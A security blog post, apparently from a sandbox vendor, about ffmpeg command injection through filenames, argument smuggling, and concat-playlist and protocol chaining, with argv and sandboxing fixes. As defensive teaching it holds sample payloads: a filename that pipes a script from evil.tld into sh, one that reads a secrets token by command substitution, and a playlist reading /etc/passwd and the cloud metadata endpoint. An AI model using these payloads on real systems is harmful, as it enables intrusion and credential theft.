all posts

ffmpeg Command Injection: The Filename Is Input Too

Ajay Kumar··11 min read

The dangerous part of a media pipeline is usually not the codec. It's the string you built to invoke it. A filename is user input in exactly the way a form field is: it arrives from a multipart upload, an S3 key, a zip entry, a webhook payload, or an AI agent's tool call, and then somebody pastes it into a command line. If that command line goes through a shell, the filename is not data any more. It's code.

I'm Ajay, I built PandaStack, and I want to separate two bugs that get conflated constantly. One is command injection: your string handling, your fault, cheap to fix, and fixing it closes the whole class. The other is parser exposure: ffmpeg's C, not your fault, and no amount of correct quoting touches it. This post walks the first one properly — the vulnerable pattern, the argv fix, argument smuggling, and the playlist/protocol chaining that survives a clean argv — and then is honest about where the second one has to be handled instead.

The bug: an f-string and a shell

Almost every media pipeline starts the same way. Someone needs a thumbnail, reaches for ffmpeg, and writes the command the way they'd type it in a terminal — as one string, with the filename interpolated in. Then it ships.

import os, subprocess

# DO NOT SHIP THIS. `upload_name` came from a multipart form, an S3 key,
# a zip entry, or a model's tool call. It is attacker-controlled.
def make_thumbnail(upload_name: str) -> None:
    cmd = f"ffmpeg -i /uploads/{upload_name} -vframes 1 /out/thumb.jpg"
    subprocess.run(cmd, shell=True, check=True)   # <- shell=True is the bug

# os.system(cmd) and Popen(cmd, shell=True) are the same bug in a different
# hat. So is any string you hand to a remote "run this" API that execs it
# under sh -c on the other side.

make_thumbnail("clip.mp4")
# -> ffmpeg -i /uploads/clip.mp4 ...                      fine

make_thumbnail("clip.mp4; curl -s http://evil.tld/x.sh | sh")
# -> two commands. The second one is theirs.

make_thumbnail("$(cat /etc/secrets/token | base64 -w0).mp4")
# -> command substitution runs BEFORE ffmpeg is even exec'd; the secret
#    ends up in the filename, and then in ffmpeg's "No such file" error,
#    and then in your logs -- or in the 500 you return to the uploader.

`shell=True` means the string is handed to `/bin/sh` and parsed as a shell program before ffmpeg exists. `;`, `&&`, `||`, `|`, newline, backticks and `$( )` are all live. The second payload is the one people picture when they hear "command injection." The third is the one that actually shows up in bug bounty reports, because it needs no command separator at all: command substitution runs first, its output becomes part of the filename, and the filename comes back to you in an error message. If that error is logged, or returned in a 500 body for debuggability, you built an arbitrary file read with a substring of shell syntax.

The instinctive fixes are all worse than they look. Wrapping the interpolation in quotes moves the problem to `"` and `$`. Stripping `;` leaves `|`, `&`, and newline. A regex denylist has to be right every single time; the attacker needs one gap, once. `shlex.quote` is genuinely correct, but it's applied per-value by a human who has to remember it at every interpolation site forever — and the failure is silent. The structural fix is to stop producing a shell string in the first place.

The fix: an argument vector, not a string

At the kernel level there is no such thing as a command string. `execve` takes a program path and an array of arguments, and the array elements are opaque byte strings — a `;` inside one is a semicolon character, not a separator. The shell is an optional layer that turns one string into that array, and it's the layer you opted into. Remove it and the entire injection class goes with it.

import os, subprocess

ALLOWED_EXT = {".mp4", ".mkv", ".mov", ".webm", ".m4a", ".wav"}

def safe_input_path(upload_dir: str, user_name: str) -> str:
    """Turn an attacker-supplied name into a path that is safe as argv."""
    # 1. basename() collapses "../../etc/shadow" and "/etc/shadow" to a leaf.
    leaf = os.path.basename(user_name)
    # 2. A leading dash is an argument-smuggling attempt, not a filename.
    if leaf.startswith("-") or leaf in ("", ".", ".."):
        raise ValueError("rejected filename")
    if os.path.splitext(leaf)[1].lower() not in ALLOWED_EXT:
        raise ValueError("unsupported extension")
    root = os.path.realpath(upload_dir)
    path = os.path.realpath(os.path.join(root, leaf))
    # 3. After symlink resolution it must STILL be inside the upload dir.
    if os.path.commonpath([root, path]) != root:
        raise ValueError("path escapes upload dir")
    # 4. Return it absolute, so it can never be read as a flag. If you must
    #    use relative paths, prefix "./" for exactly the same reason.
    return path

def make_thumbnail(upload_dir: str, user_name: str, out_path: str) -> None:
    src = safe_input_path(upload_dir, user_name)
    argv = [
        "ffmpeg",
        "-nostdin",            # never block reading the parent's stdin
        "-hide_banner",
        "-y",                  # a prompt on overwrite is a hung job
        "-i", src,             # ONE argv element; the shell never sees it
        "-frames:v", "1",
        os.path.abspath(out_path),   # the OUTPUT is an argument too
    ]
    # Note: ffmpeg does not document a POSIX "--" end-of-options terminator,
    # so don't lean on it here -- the absolute ("./"-prefixed if relative)
    # path is what actually keeps a name from being parsed as a flag. Keep
    # the "--" habit for tools that do document it: rm -- "$f", git -- <path>.
    subprocess.run(argv, shell=False, check=True,
                   timeout=120, stdin=subprocess.DEVNULL)

Two things are doing work here and they're independent. `shell=False` (Python's default — the bug is opt-in) means no `/bin/sh`, so shell metacharacters in the filename are inert. The path handling in `safe_input_path` is a separate job: it stops traversal, stops symlink escapes, and rejects the leading dash. You need both. In Node the same discipline is `child_process.execFile` or `spawn` with an array instead of `exec`; in Go, `exec.Command("ffmpeg", args...)` never involves a shell unless you explicitly invoke `sh -c` yourself; in Ruby, the multi-argument form of `system`.

One honest wrinkle, since it's the thing that trips people up when they move a pipeline into a sandbox: many remote exec APIs — PandaStack's included — take a command as a *string* over the wire, because they run it under a shell in the guest. That is not permission to go back to f-strings. Build the list, then call `shlex.join(argv)` once at the boundary. The quoting is then done by code, over the whole vector, instead of by a person, per value. Note what `shlex.join` does not do: it quotes a leading dash, it does not neutralise it. Which brings us to the next bug.

Argument smuggling: when a filename becomes a flag

This one survives the argv fix if you skipped the path guard, and it's the reason "just use subprocess lists" is necessary but not complete advice. You removed the *shell's* parser from the picture. You did not remove ffmpeg's. ffmpeg reads its own argv and any element starting with `-` is a candidate option — it has no idea one of those elements was supposed to be a filename you got from a stranger.

  • A name in the output slot that starts with a dash stops being a destination and becomes an option. Best case the job fails with a baffling error; worse cases depend on which option you accidentally spelled.
  • A name in the input slot that starts with a dash doesn't get consumed as the value of `-i`; ffmpeg goes looking for an option by that name and everything after it shifts. Your carefully ordered flags are now attached to the wrong input, or to no input.
  • Demuxer shopping via a smuggled `-f`. `-f <demuxer>` skips format probing and forces a specific parser. An attacker who can inject that token picks which of ffmpeg's hundreds of demuxers eats their bytes — they choose the one they have a bug for, rather than the one their file's magic bytes imply.
  • Re-opening a door you closed. ffmpeg's options are positional and many are per-input, so a token that lands before your `-i` can set a different `-protocol_whitelist` for that input than the one you thought you set. Your hardening flag is still on the command line; it just isn't the one that applies.

None of this is exotic or ffmpeg-specific — every getopt-style tool has it, which is why `rm -- "$f"` and `git checkout -- <path>` are habits. `--` is the POSIX end-of-options convention and it's the right reflex for tools that document it. ffmpeg's option parser is idiosyncratic and does not document a `--` terminator, so don't build your safety on it there. What actually works for ffmpeg is making the path structurally un-flag-like: absolute, or prefixed with `./`.

The strongest version of this fix isn't sanitization at all. Store uploads under an identifier you generate — `/work/<uuid>.bin` — and keep the user's original filename in your database as metadata, where it's a string and nothing else. A path you generated cannot smuggle a flag, cannot traverse a directory, and cannot carry a `$(`. Every rule in `safe_input_path` above exists to survive the case where you can't do this.

Playlists, concat, and the protocol whitelist

Here's the part that catches people who did everything above correctly. ffmpeg's inputs are not files; they're URLs, and `file:` is just one scheme among many. Worse, some demuxers read *lists of other inputs*. That turns a single attacker-controlled input into a fetch primitive, with no injection anywhere on your command line.

The concat demuxer is the clean example. `-f concat -i list.txt` treats the input as a plain-text playlist of `file '...'` directives, and opens each one. An attacker who can get a text file of their choosing into your input slot — trivial, since you accepted an upload and named it `.mp4` — and whose pipeline reaches the concat demuxer, gets to name paths that your worker process will open.

# An attacker-supplied "video" that is really a concat playlist.
# If your pipeline runs:  ffmpeg -f concat -safe 0 -i playlist.txt out.mp4
# then every line below is a resource ffmpeg opens on your behalf.
file '/etc/passwd'
file '/proc/self/environ'
file 'http://169.254.169.254/latest/meta-data/'

# -safe 0 is the flag that makes absolute/URL entries acceptable to the
# concat demuxer. It is also the flag every copy-pasted "how do I join two
# videos" recipe on the internet tells you to add.

Then there's protocol chaining, which is the part people don't expect. ffmpeg protocols compose: `concat:` joins resources, `subfile:` wraps another URL to read a byte range of it, and others layer similarly. So `-protocol_whitelist` isn't "which schemes may appear in the URL I typed" — it's the set of schemes available to every nested resource, including ones named inside a playlist the attacker wrote. Allowing `file,http` in one job means allowing "read a local path" and "make an outbound request" in the same process. That's not two features; that's an exfiltration pair.

  • SSRF — an outbound fetch from inside your network, reaching the cloud metadata endpoint (169.254.169.254) or an internal service the attacker cannot route to directly.
  • Local file read — chosen paths rendered into the output artifact you hand back to the uploader. When the output is the thing you return, the output is the oracle.
  • Error-based leakage — even when nothing decodes, ffmpeg's stderr distinguishes "No such file or directory" from "Invalid data found". That's a file-existence oracle, and it leaks the moment you return stderr to the user for debuggability.
`-protocol_whitelist file` and an explicitly pinned `-f <demuxer>` are both worth setting, and together they close the chaining and demuxer-shopping paths at the application layer. Neither is a boundary. They are arguments to the same process that is about to run a memory-unsafe parser over bytes a stranger chose — and they are undone by one wrong flag, one option-ordering mistake, or one behaviour change in a version bump.

A hardened invocation, and where it runs

Put the pieces together: a path you generated, an argument vector, a narrow protocol whitelist, an explicitly pinned demuxer, `-nostdin`, a wall-clock timeout — and the whole thing inside a machine you're going to throw away.

import shlex, uuid
from pandastack import Sandbox

def thumbnail(upload_bytes: bytes) -> bytes:
    """Untrusted bytes in, one JPEG out. The user never names anything."""
    job = uuid.uuid4().hex
    src = f"/work/{job}.bin"           # WE choose the path. No user string.
    dst = f"/work/{job}.jpg"

    # Build an argument VECTOR, then let shlex quote it exactly once.
    argv = [
        "ffmpeg",
        "-nostdin",                     # stdin is not an input channel
        "-hide_banner", "-loglevel", "error",
        "-protocol_whitelist", "file",  # no http/tcp/subfile/concat chaining
        "-f", "mp4",                    # pin the demuxer; don't let probing
                                        # pick it from the attacker's bytes
        "-i", src,                      # absolute: cannot parse as a flag
        "-frames:v", "1",
        "-f", "image2",
        "-y", dst,
    ]
    cmd = shlex.join(argv)              # Python 3.8+. NOT " ".join(argv).

    # The exec API takes a string because it runs under a shell in the guest.
    # That is fine -- as long as the string was produced by shlex.join from a
    # list, and never by an f-string with a user value in it.
    with Sandbox.create(template="base", ttl_seconds=300) as sbx:
        sbx.filesystem.write(src, upload_bytes)
        result = sbx.exec(cmd, timeout_seconds=120)
        if result.exit_code != 0:
            # Fails HERE, inside a machine that is about to be deleted.
            # Log stderr internally; do not echo it back to the uploader.
            raise RuntimeError("thumbnail failed")
        return sbx.filesystem.read(dst)
    # VM destroyed on exit, along with anything the file did to it.

Read the flags for what each one actually buys. `-nostdin` prevents a hang, not an exploit — but a hung ffmpeg is a leaked worker, and stuck jobs are far more common than crashing ones. `-protocol_whitelist file` closes fetch chaining. `-f mp4` takes demuxer selection away from the prober, which means away from the attacker's magic bytes — pin it only when your pipeline has already decided the format; if you genuinely accept many containers, run `ffprobe` under the same confinement first and pin from what it reports. `shlex.join` does the quoting once, in code. And the path guard is free because we never let a user name anything.

The last line of that function is the one carrying the most weight, and it isn't a flag. The whole invocation happens inside a disposable Firecracker microVM with its own guest kernel, its own memory ceiling, and its own network namespace, and the VM is destroyed when the block exits. If you want the full treatment of that half — per-job VMs, timeouts, memory ceilings, default-deny egress, and why a container is a hardening layer rather than a boundary — the companion piece is "Sandbox ffmpeg: Per-Job microVMs for Transcoding", linked below. Treat this post as the argv half and that one as the containment half. You want both; they fix different bugs.

What a correct argv does not fix

I want to be blunt here, because this is where security write-ups usually stop and declare victory. You fixed the shell. You did not fix the parser. After `execve` returns, ffmpeg opens the attacker's bytes and runs an enormous amount of performance-tuned C over them — container demuxers, bitstream readers, codec implementations, much of it decades old, much of it reachable only by malformed input. That layer has a long, continuing history of memory-safety advisories; go read the project's own security page rather than take a number from me. A perfectly quoted argv reaches that code exactly as reliably as an injected one does. The malicious file didn't need your string bug. It only needed to be parsed.

So the layers do genuinely different jobs, and it's worth being explicit about which buys what:

  • Generated filenames + argv lists — closes command injection and argument smuggling outright. Cost: a refactor. Buy this first; it's the cheapest control on the list and the only one that eliminates a class rather than narrowing it.
  • Extension and content-type checks — deters casual junk and nothing else. Do not count it as security: ffmpeg probes the real container regardless of what you named the file.
  • `-protocol_whitelist` + pinned `-f` — closes fetch/SSRF chaining and demuxer shopping at the app layer. Real value, but it lives inside the process you don't trust.
  • Wall-clock timeout + fixed memory ceiling — turns a decompression bomb or a pathological filtergraph from an outage into a failed job.
  • Default-deny egress — a payload that does land has nowhere to send what it found and no metadata endpoint to reach.
  • A per-job microVM with its own kernel — the only layer on this list that assumes the parser has already lost, and is still useful afterwards.

The five-minute review pass

If you own a media pipeline and want to know whether this post applies to you, this is the order I'd go in. The first four are greps.

  1. Grep for `shell=True`, `os.system(`, `child_process.exec(`, backticks, and `sh -c` anywhere near an uploaded name. Each hit is a candidate.
  2. Grep for f-strings, `.format()`, and `+` concatenation that build a command containing a variable. That's the shape of the bug even when `shell=True` is elsewhere.
  3. Find every place a user-supplied filename becomes a path on disk. Replace it with an identifier you generate; keep their name as metadata.
  4. Check the output paths too — they're arguments as well, and a dash-leading output path is a flag, not a destination.
  5. Confirm every ffmpeg/ffprobe invocation carries a wall-clock timeout and does not inherit the parent's stdin.
  6. Confirm ffmpeg's stderr is logged internally and not returned verbatim to the uploader — it's a file-existence oracle and it leaks paths.
  7. Then ask the question the greps can't answer: if this parser is exploited today, what does the attacker land on? If the answer is "my app host, as my worker user," the argv fix was not the last thing on the list.

Honest limits

Three things I'm not claiming. First, argv discipline is necessary but not sufficient, and a sandbox is sufficient for containment but doesn't sanitize anything — the VM guarantees a malicious *input* couldn't reach your host; it makes no claim about the *output* being a wholesome video, so the usual content-safety questions are still yours. Second, a VM per job is not free: on PandaStack a create is p50 179ms because every create restores a baked snapshot rather than cold-booting, which is what makes per-job VMs practical, but "practical" isn't "zero". Third, isolation constrains what code can reach, not what you handed it — if you inject a credential the transcode didn't need, the sandbox will faithfully isolate the attacker together with your secret.

Within those bounds the split is clean, and it's worth holding onto: fix the f-string because it's your bug and it's cheap, and put the parser somewhere disposable because that one isn't going to be fixed by anything you write. Argument vectors stop an attacker from choosing what runs. The disposable VM is what makes it survivable when they get to choose what the parser does.

Frequently asked questions

What is ffmpeg command injection?

It's when an attacker-controlled value — almost always a filename — is interpolated into a shell command string that invokes ffmpeg, letting the attacker run their own commands. The vulnerable shape is an f-string or concatenation passed to a shell: subprocess.run(cmd, shell=True), os.system(), child_process.exec(), or backticks. Shell metacharacters like ;, |, && and $( ) then execute as code rather than being treated as characters in a filename. The fix is to pass an argument list instead of a string, so no shell ever parses the value.

Can a filename really be a command injection vector?

Yes, and it's one of the most commonly missed inputs because it doesn't feel like a form field. Filenames arrive from multipart uploads, S3 keys, zip entries, webhook payloads, and AI agent tool calls, and they get pasted straight into command lines. A name like "clip.mp4; curl evil.tld/x.sh | sh" runs a second command, and a name using command substitution needs no separator at all — the substitution runs before ffmpeg is even executed, and its output can leak back through the error message you log or return.

Does using subprocess argument lists fully secure ffmpeg?

No. It closes command injection completely, which is the most important single fix, but two things survive it. First, argument smuggling: ffmpeg parses its own argv, so a filename beginning with a dash is read as an option — pass paths as absolute or ./-prefixed, or better, generate the filename yourself. Second, and more fundamentally, a correct argv still hands attacker-chosen bytes to a large memory-unsafe C parser. Argv discipline stops the attacker choosing what runs; it does nothing about what the demuxer does with their file.

How do I stop ffmpeg from reading local files or fetching URLs?

Pass -protocol_whitelist file so http, tcp, subfile and similar schemes are unavailable, and pin the demuxer explicitly with -f rather than letting format probing choose from the attacker's bytes. This matters because ffmpeg protocols compose and some demuxers read playlists of other inputs — the concat demuxer with -safe 0 will open every path listed in an attacker-supplied text file, which is a local-read and SSRF chain. Back the flags with network-layer default-deny egress, since a flag can be wrong and a network policy is harder to undo by accident.

Should I sanitize uploaded filenames or rename them?

Rename them. Store the upload under an identifier you generate, such as /work/<uuid>.bin, and keep the user's original filename in your database as metadata where it is only ever a string. A path you generated cannot smuggle a leading-dash flag, cannot traverse directories, and cannot carry shell syntax. Sanitization rules — basename, extension allowlist, symlink-resolved containment check, leading-dash rejection — are what you fall back to when a product requirement forces you to keep the user's name on disk.

Keep reading

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.